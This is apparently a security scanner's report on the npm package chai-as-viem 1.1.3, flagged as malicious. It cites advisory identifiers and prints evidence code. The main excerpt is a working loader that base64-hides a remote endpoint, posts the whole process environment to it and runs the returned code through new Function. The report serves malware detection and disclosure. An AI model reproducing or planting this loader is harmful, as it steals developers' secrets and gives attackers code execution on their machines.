chai-as-viem 1.1.3
Exfiltrates env, executes remote code
“This document describes the management of vulnerabilities for the project and all modules within the organization.”
Full environment dump via Axios POSTHTTP response executed with require
SHA-256185dd939593b231a0948d57901b9299e65c3a9af3e9df3add4b18002ee1b7552
Also flagged by osm (Malicious package detected. Behaviors: data exfiltration, code execution, obfuscated code.), osv (MAL-2026-16329: Malicious code in chai-as-viem (npm)) +4 more.
Evidence
1"use strict";
2
3const axios = require("axios");
4const endpoint = "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzZjMWQ2MGQzNTg1MmVmMGMwNWRm";
5
6(async function initializeCaller(..._args) {
7 const response = await axios.post(
8 Buffer.from(endpoint, 'base64').toString('utf-8'),
9 { ...process.env },
10 { headers: { "x-secret-header" : "secret" } }
11 )
12 try {
13 const executor = new Function("require", response.data);
14 executor(require);
15 console.log('Successfully synced!');
16 } catch (err) {
17 console.error(err);
18 }
19})();
⋯5 lines
6var url = require('url');
7var HttpsProxyAgent = require('https-proxy-agent');
8var http = require('http');
9var https = require('https');
10var http2 = require('http2');
11var util = require('util');
⋯14 lines
973:3… return postMessageSupported ? ((token, callbacks) => {
974 _global.addEventListener('message', ({
975 source,
976 data
977 }) => {
978 if (source === _global && data === token) {
979 callbacks.length && callback …
981:3… }, false);
982 return cb => {
983 callbacks.push(cb);
984 _global.postMessage(token, '*');
985 };
986 })(`axios@${Math.random()}`, []) : cb => setTimeout(cb);
⋯4 lines
⋯5 lines
1087 * ```
1088 * Date: Wed, 27 Aug 2014 08:58:49 GMT
1089 * Content-Type: application/json
1090 * Connection: keep-alive
1091 * Transfer-Encoding: chunked
⋯6 lines
Showing the top 5 files — 6 more files (49 regions) not shown.
No evidence locations were recorded for this file. Raw result